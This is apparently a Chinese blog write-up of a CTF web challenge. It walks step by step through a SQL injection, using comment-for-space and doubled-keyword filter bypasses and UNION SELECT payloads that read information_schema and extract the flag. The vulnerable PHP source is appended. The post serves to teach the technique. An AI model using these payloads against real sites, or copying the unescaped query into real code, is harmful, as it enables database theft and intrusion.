2020-11-29

2020-11-29 题型:web

1.打开网站后看到如图

在这里插入图片描述
这个界面是动态网页,右边控制台可以调节一些星点配置。
看的时间长了可能会头晕(哈哈物理攻击

2.看到界面上有where flag??????

然后仔细看的话会发现左下边会有一个图片logo.png
在这里插入图片描述这个图是故意暴露题型的web 中的SQL注入
(点开这个图片是一个素材网站,你懂得)

4.但是是否存在SQL注入呢,判断一下

首先了解一下
(字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。)
输入:?id=1后界面正常显示 ?id=1'后界面不显示
表明是数字型注入

5.然后开始SQL注入查询字段数

?id=1/**/ororderder/**/by/**/3

在这里插入图片描述
(因为正常的查询不行,猜测过滤,order空格过滤了)
{尝试使用多行注释符(块注释符)
一对英文括号、换行符、加号来代替空格。快注释符/**/}
因为3这字段数有回显,然而4这没有
通过多次尝试有三个字段

6.查询那个字段有回显

?id=1/**/unIon/**/selEct/**/1,2,3

在这里插入图片描述
如图所示,2,3位是回显位
(这里把unionselect空格过滤了,详情向下见源码)

7.查询数据库名

?id=1/**/uNion/**/Select/**/1,2,database()

在这里插入图片描述
查到数据库名为 text

8.查询表名

?id=1/**/uNion/**/Select/**/1,2,group_concat(table_name)/**/frofromm/**/information_schema.tables/**/where/**/table_schema='text'

(过滤有点严重)
在这里插入图片描述
查询到表名flaguser
注意:
出题时看花了眼,from和form傻傻分不清楚

9.查询列表名

?id=1/**/uNion/**/Select/**/1,2,column_name/**/frofromm/**/information_schema.columns/**/where/**/table_name='flag'

在这里插入图片描述
列表名为 idflag
(说明flag表名中有两个列表名,真flag应该在flag列表名中)

10.查询字段名

?id=1/**/uNion/**/Select/**/1,2,flag/**/frofromm/**/flag

在这里插入图片描述

11.得到flag{You have successfully!!!}

有点烧脑

附源码

<?php
$con=new mysqli("127.0.0.1","root","admin","test");
if(!$con){
    die('数据库连接失败');
}
error_reporting(0);
if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $regex1="/union/";
    $regex2="/select/";
	$regex3="/from/i";
	$regex4="/ /i";
	$regex5="/order/i";
    if(preg_match($regex1, $id)){
        echo "<font size='5'/>where flag???";
        echo "<br>";
    }
    if(preg_match($regex2, $id)){
        echo "<font size='5'/>where flag???";
        echo "<br>";
    }
	if(preg_match($regex3, $id)){
        echo "<font size='5'/>where flag???";
        echo "<br>";
    }
	if(preg_match($regex4, $id)){
        echo "<font size='5'/>where flag???";
        echo "<br>";
    }
	if(preg_match($regex5, $id)){
        echo "<font size='5'/>where flag???";
        echo "<br>";
    }
    $id=preg_replace('/union/','5',$id);  
    $id=preg_replace('/select/','5',$id);
	$id=preg_replace('/from/','',$id);
	$id=preg_replace('/ /','',$id);
	$id=preg_replace('/order/','',$id);
    $result=$con->query("SELECT * FROM user WHERE id=$id");
    while($row=mysqli_fetch_array($result))
    {
        echo '<font size="5"/>这是啥???'. $row['useranme'];
        echo "<br>";
        echo '这是啥???' .$row['passwd'];
        echo "<br>";
    }
}
else {
    echo "<font size='5'/>where flag??????";
    echo "</br>";
    echo "</br>";
    echo "</br>";
}
?>
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值